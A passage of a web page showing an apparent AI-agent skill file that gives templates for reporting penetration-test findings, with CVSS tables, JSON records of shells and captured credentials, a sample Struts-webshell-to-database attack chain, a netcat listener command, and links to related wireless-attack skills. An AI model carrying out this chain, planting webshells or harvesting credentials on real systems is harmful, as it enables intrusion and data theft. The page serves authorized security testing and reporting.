pre-calculated vectors as a starting point. Adjust supplemental metrics (Automatable, Recovery, Provider Urgency) based on actual conditions observed.\n\n| Finding Type | CVSS 4.0 Score | Vector | Notes |\n|-------------|---------------|--------|-------|\n| Unauthenticated RCE via public-facing app | 9.3 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | Adjust SC\u002FSI\u002FSA if scope crosses trust boundary |\n| RCE requiring low-priv credentials | 8.7 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:L\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | |\n| Authentication bypass (admin panel) | 9.1 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:N\u002FSC:N\u002FSI:N\u002FSA:N` | Reduce VI if read-only |\n| SQL injection with data read | 8.7 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:N\u002FVA:N\u002FSC:N\u002FSI:N\u002FSA:N` | Raise VI to H if write confirmed |\n| SQL injection with OS shell | 9.3 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | Same as RCE once shell achieved |\n| Default\u002Fweak credentials — admin | 9.0 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N` | |\n| Default\u002Fweak credentials — service account | 7.0 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:L\u002FVI:L\u002FVA:N\u002FSC:N\u002FSI:N\u002FSA:N` | Raise based on actual access level |\n| SSRF to internal services | 6.9 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:L\u002FVI:N\u002FVA:N\u002FSC:H\u002FSI:N\u002FSA:N` | Raise SC\u002FSI if cloud metadata accessed |\n| SSRF to cloud metadata (IAM creds) | 8.8 | `CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:N\u002FUI:N\u002FVC:H\u002FVI:N\u002FVA:N\u002FSC:H\u002FSI:H\u002FSA:N` | High SC\u002FSI due to cloud environment impact |\n\n### CVSS 4.0 Severity Bands\n\n| Score | Severity | Remediation SLA |\n|-------|----------|----------------|\n| 9.0 – 10.0 | Critical | Immediate (24 hours) |\n| 7.0 – 8.9 | High | Within 7 days |\n| 4.0 – 6.9 | Medium | Within 30 days |\n| 0.1 – 3.9 | Low | Within 90 days |\n\n### Key CVSS 4.0 Metrics (vs 3.1)\n\n| Metric | CVSS 3.1 | CVSS 4.0 | Notes |\n|--------|----------|----------|-------|\n| Attack Complexity | AC:L \u002F AC:H | AC:L \u002F AC:H | Same meaning |\n| Attack Requirements | — | AT:N \u002F AT:P | New: conditions beyond attacker control |\n| Scope | S:U \u002F S:C | Removed | Replaced by SC\u002FSI\u002FSA (Subsequent System) |\n| Subsequent System | — | SC \u002F SI \u002F SA | Impact on systems beyond the vulnerable one |\n| Automatable | — | AU:N \u002F AU:Y | Supplemental: can the attack be scripted at scale? |\n| Recovery | — | R:A \u002F R:U \u002F R:I | Supplemental: how quickly does the system recover? |\n\n---\n\n## 3. Shell and Credential Cross-Reference\n\nEvery shell obtained and credential captured MUST be recorded in the engagement's structured JSON files AND linked back to a finding ID.\n\n### Shell Entry — `exploit\u002Fshells.json`\n\n```json\n{\n  \"shell_id\": \"SHELL-001\",\n  \"finding_id\": \"FIND-001\",\n  \"target\": \"10.0.1.50\",\n  \"hostname\": \"app01.internal.example.com\",\n  \"access_level\": \"user\",\n  \"user\": \"tomcat\",\n  \"uid\": 52,\n  \"groups\": [\"tomcat\"],\n  \"shell_type\": \"reverse-shell\",\n  \"method\": \"JSP webshell via CVE-2023-50164\",\n  \"listener\": \"nc -lvnp 4444\",\n  \"webshell_path\": \"\u002Fopt\u002Ftomcat\u002Fwebapps\u002FROOT\u002Fshell.jsp\",\n  \"webshell_url\": \"http:\u002F\u002F10.0.1.50:8080\u002Fshell.jsp\",\n  \"networks\": [\"10.0.1.0\u002F24\", \"10.0.2.0\u002F24\"],\n  \"os\": \"Linux 5.15.0-1034-aws x86_64\",\n  \"obtained_at\": \"2026-04-06T14:35:00Z\",\n  \"persistence_status\": \"webshell\",\n  \"notes\": \"Dual-NIC host — pivot point into 10.0.2.0\u002F24 internal segment\"\n}\n```\n\n### Credential Entry — `exploit\u002Fcreds\u002Finitial.json`\n\n```json\n{\n  \"cred_id\": \"CRED-001\",\n  \"finding_id\": \"FIND-002\",\n  \"source_host\": \"app01.internal.example.com\",\n  \"source_path\": \"\u002Fopt\u002Ftomcat\u002Fwebapps\u002Fstruts2\u002FWEB-INF\u002Fclasses\u002Fdb.properties\",\n  \"type\": \"database\",\n  \"service\": \"mysql\",\n  \"target_host\": \"10.0.2.10\",\n  \"target_port\": 3306,\n  \"username\": \"appuser\",\n  \"password\": \"Str0ngP@ss2024!\",\n  \"hash\": null,\n  \"access_level\": \"application-user\",\n  \"databases\": [\"app_production\"],\n  \"verified\": true,\n  \"obtained_at\": \"2026-04-06T14:40:00Z\",\n  \"notes\": \"Plaintext credentials in config file on app01\"\n}\n```\n\n### Linking Rule\n\n- Every `SHELL-NNN` entry MUST have a `finding_id` pointing to a `FIND-NNN.md`\n- Every `CRED-NNN` entry MUST have a `finding_id` pointing to a `FIND-NNN.md`\n- The corresponding `FIND-NNN.md` MUST list the shell\u002Fcred evidence path in its **Evidence** table\n\n---\n\n## 4. Attack Path Documentation\n\nWhen multiple findings chain together to escalate access, create a `PATH-NNN.md` in `findings\u002Fattack-paths\u002F`.\n\n```markdown\n---\nid: PATH-001\nname: \"Unauthenticated External RCE to Internal Database via App Server Pivot\"\ncombined_severity: CRITICAL\nfinding_ids: [FIND-001, FIND-002, FIND-003]\ncreated_at: \"2026-04-06T15:00:00Z\"\n---\n\n# PATH-001: Unauthenticated External RCE to Internal Database via App Server Pivot\n\n## Attack Path Steps\n\n| Order | Phase | Technique | MITRE ID | Source | Target | Tool | Detected | Finding ID |\n|-------|-------|-----------|----------|--------|--------|------|----------|------------|\n| 1 | Initial Access | Exploit Public-Facing Application | T1190 | Internet | 10.0.1.50:8080 | curl + JSP webshell | No | FIND-001 |\n| 2 | Execution | Command and Script Interpreter: Unix Shell | T1059.004 | 10.0.1.50 | 10.0.1.50 | bash reverse shell | No | FIND-001 |\n| 3 | Collection | Data from Local System | T1005 | 10.0.1.50 | \u002Fopt\u002Ftomcat\u002F…\u002Fdb.properties | cat | No | FIND-002 |\n| 4 | Lateral Movement | Remote Services: Database Protocol | T1021 | 10.0.1.50 | 10.0.2.10:3306 | mysql client | No | FIND-003 |\n\n## Narrative\n\nExploitation began with CVE-2023-50164 against the externally accessible Apache Struts application on `app01` (10.0.1.50:8080). The file upload path traversal vulnerability allowed placement of a JSP webshell in the Tomcat web root without authentication, achieving OS-level code execution as the `tomcat` service account (FIND-001).\n\nWith shell access on `app01`, configuration files in the deployed WAR revealed plaintext MySQL credentials for a production database on the internal network segment 10.0.2.0\u002F24 (FIND-002). Using the `tomcat` shell as a pivot, the MySQL client was used to connect directly to `db01` (10.0.2.10:3306) with the extracted credentials, achieving full read\u002Fwrite access to `app_production` (FIND-003).\n\n## Combined Severity Assessment\n\nThe three individual findings combine to produce a CRITICAL chain severity:\n- FIND-001 alone is Critical (CVSS 4.0: 9.3) — unauthenticated RCE on internet-facing host\n- FIND-002 escalates from code execution to credential access — no additional network exposure\n- FIND-003 converts application-tier credentials into direct production database access\n\n**Chain result**: Unauthenticated external attacker → production database read\u002Fwrite in three steps, zero detections.\n```\n\n### Chain Severity Escalation Rules\n\n| Chain Pattern | Combined Severity | Rationale |\n|--------------|-------------------|-----------|\n| Unauthenticated RCE → internal pivot → credential access | CRITICAL | Internet to internal DB in one chain |\n| Auth bypass → admin panel → config file credentials | CRITICAL | Full auth collapse + credential leak |\n| Weak creds → low-priv shell → local privesc to root | CRITICAL | Full host compromise |\n| SSRF → cloud metadata → IAM role theft | CRITICAL | Cloud environment takeover |\n| SQLi read-only → no further escalation | HIGH | Data breach, no lateral movement |\n| IDOR → read another user's PII → no further escalation | MEDIUM-HIGH | Data exposure, no system compromise |\n\n---\n\n## 5. Evidence Collection Checklist\n\nCollect evidence during exploitation, not after. Once a session ends, some evidence may be unrecoverable.\n\n### Required for Every Finding\n\n- [ ] Exact commands used, copied verbatim (not paraphrased)\n- [ ] Full command output proving access: `whoami`, `id`, `hostname`, `ip addr`\n- [ ] Timestamp of access: `date -u` on the compromised host\n- [ ] Network position: `ip route` or `netstat -rn`\n\n### Web Exploitation Specific\n\n- [ ] Raw HTTP request used (Burp Suite export or `curl -v` output)\n- [ ] Raw HTTP response confirming the vulnerability\n- [ ] If webshell: URL, HTTP method, parameter name, payload\n\n### Credential Capture Specific\n\n- [ ] Source file path where credentials were found\n- [ ] Full file contents or relevant excerpt (saved to evidence\u002F)\n- [ ] Verification that credentials work: connection log or command output\n\n### Reverse Shell Specific\n\n- [ ] Full session transcript (terminal log)\n- [ ] Listener command used\n- [ ] Callback IP and port\n- [ ] Shell upgrade steps (pty upgrade, etc.)\n\n### Evidence File Naming Convention\n\n```\nFIND-{NNN}_{description}.txt\n\nExamples:\n  FIND-001_upload_response.txt      # HTTP response from exploit\n  FIND-001_rce_confirm.txt          # id\u002Fwhoami output\n  FIND-001_shell_session.txt        # Full shell transcript\n  FIND-001_shell.jsp                # Payload file used\n  FIND-002_db_properties.txt        # Config file with credentials\n  FIND-003_mysql_dump_partial.txt   # DB access proof\n```\n\nAll evidence files go in: `findings\u002Fevidence\u002F`\n\n---\n\n## 6. MITRE ATT&CK Exploitation Technique Reference\n\n### Initial Access (TA0001)\n\n| Technique ID | Name | When to Tag |\n|-------------|------|-------------|\n| T1190 | Exploit Public-Facing Application | CVE exploitation, web app attacks, exposed services |\n| T1133 | External Remote Services | VPN\u002FRDP\u002FSSH brute force or credential stuffing from internet |\n| T1078 | Valid Accounts | Default credentials, stolen\u002Fguessed passwords |\n| T1078.001 | Valid Accounts: Default Accounts | Vendor default creds (admin\u002Fadmin, sa\u002F, etc.) |\n| T1078.003 | Valid Accounts: Local Accounts | Local OS account credential reuse |\n\n### Execution (TA0002)\n\n| Technique ID | Name | When to Tag |\n|-------------|------|-------------|\n| T1059 | Command and Script Interpreter | Any shell execution post-exploit |\n| T1059.001 | PowerShell | PowerShell payloads, Empire, PowerSploit |\n| T1059.004 | Unix Shell | bash\u002Fsh\u002Fzsh command execution |\n| T1059.006 | Python | Python one-liners, pickle payloads |\n| T1203 | Exploitation for Client Execution | Client-side exploits (phishing, macro docs) |\n| T1072 | Software Deployment Tools | Exploiting Jenkins, Ansible, Puppet for execution |\n\n### Persistence (TA0003) — Note if achieved during initial access\n\n| Technique ID | Name | When to Tag |\n|-------------|------|-------------|\n| T1505.003 | Server Software Component: Web Shell | JSP, PHP, ASPX webshells deployed |\n| T1053.005 | Scheduled Task\u002FJob: Cron | Cron job persistence |\n| T1136 | Create Account | New user\u002Fservice account created |\n\n---\n\n## 7. File Layout Reference\n\n```\n\u002Fworkspace\u002F\n├── plan\u002F\n│   ├── roe.json\n│   ├── conops.json\n│   └── opplan.json\n├── exploit\u002F\n│   ├── shells.json              # All shells obtained (SHELL-NNN entries)\n│   └── creds\u002F\n│       ├── initial.json         # All credentials captured (CRED-NNN entries)\n│       └── credentials.md       # Verbatim high-value secrets (written first on capture)\n├── findings\u002F\n│   ├── FIND-001.md              # Finding documents (stable FIND-NNN key; id in frontmatter)\n│   ├── FIND-002.md\n│   ├── attack-paths\u002F\n│   │   └── PATH-001.md          # Multi-finding attack chain documents\n│   └── evidence\u002F\n│       ├── FIND-001_upload_response.txt   # Evidence keyed by finding ID\n│       ├── FIND-001_rce_confirm.txt\n│       ├── FIND-001_shell.jsp\n│       └── FIND-002_db_properties.txt\n└── timeline.jsonl              # Append-only activity\u002Ffinding timeline\n```\n\n## 8. OPPLAN Update After Exploitation\n\nAfter documenting a finding, update `plan\u002Fopplan.json` to close the objective and create follow-up work.\n\n```json\n{\n  \"objective_update\": {\n    \"id\": \"OBJ-EXP-001\",\n    \"status\": \"completed\",\n    \"result\": \"RCE achieved on app01 (10.0.1.50) via CVE-2023-50164. Tomcat shell obtained. See FIND-001.\",\n    \"finding_ids\": [\"FIND-001\"]\n  },\n  \"new_objectives\": [\n    {\n      \"id\": \"OBJ-EXP-002\",\n      \"phase\": \"exploitation\",\n      \"description\": \"Read config files on app01 to extract database credentials\",\n      \"acceptance_criteria\": \"Credentials documented in creds\u002Finitial.json with verified:true\",\n      \"priority\": 1,\n      \"depends_on\": \"FIND-001\"\n    },\n    {\n      \"id\": \"OBJ-POST-001\",\n      \"phase\": \"post-exploitation\",\n      \"description\": \"Enumerate internal network 10.0.2.0\u002F24 via app01 pivot shell\",\n      \"acceptance_criteria\": \"Live hosts and open ports documented in findings\",\n      \"priority\": 2,\n      \"depends_on\": \"FIND-001\"\n    }\n  ]\n}\n```\n\nAlso append a one-line summary to `findings.txt`:\n\n```\n[2026-04-06T14:35:00Z] FIND-001 CRITICAL — RCE on app01 (10.0.1.50) via CVE-2023-50164 (Struts). Tomcat shell. Dual-NIC pivot into 10.0.2.0\u002F24. Not detected.\n```\n\n## 9. Pre-Submission Checklist\n\nBefore marking an exploitation objective as complete:\n\n- [ ] `findings\u002FFIND-{NNN}.md` finding file created with all required frontmatter fields populated\n- [ ] CVSS 4.0 score calculated and vector string included\n- [ ] MITRE ATT&CK technique(s) tagged in frontmatter and finding body\n- [ ] Steps to Reproduce are exact — tested commands, not paraphrased\n- [ ] Proof of Exploitation section includes `whoami`\u002F`id`\u002F`hostname` output\n- [ ] All evidence files saved to `findings\u002Fevidence\u002F` with correct naming\n- [ ] Shell entry added to `exploit\u002Fshells.json` (if shell obtained)\n- [ ] Credential entry added to `exploit\u002Fcreds\u002Finitial.json` (if creds captured)\n- [ ] `plan\u002Fopplan.json` objective status set to `completed` with `finding_ids`\n- [ ] Follow-up objectives created in `opplan.json` for post-exploit phase\n- [ ] One-line summary appended to `findings.txt`\n- [ ] Attack path document created in `findings\u002Fattack-paths\u002F` if 2+ findings chain\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"kind":25,"tags":26,"subdomain":25,"when_to_use":27,"mitre_attack":28},"reporting","report, exploit, findings, cvss, shells, creds, detection-gap","write finding, document exploit, exploitation report, access achieved, shell obtained, credential found","T1190","Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Freporting","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill exploit-reporting",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill exploit-reporting",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill exploit-reporting","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Freporting\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]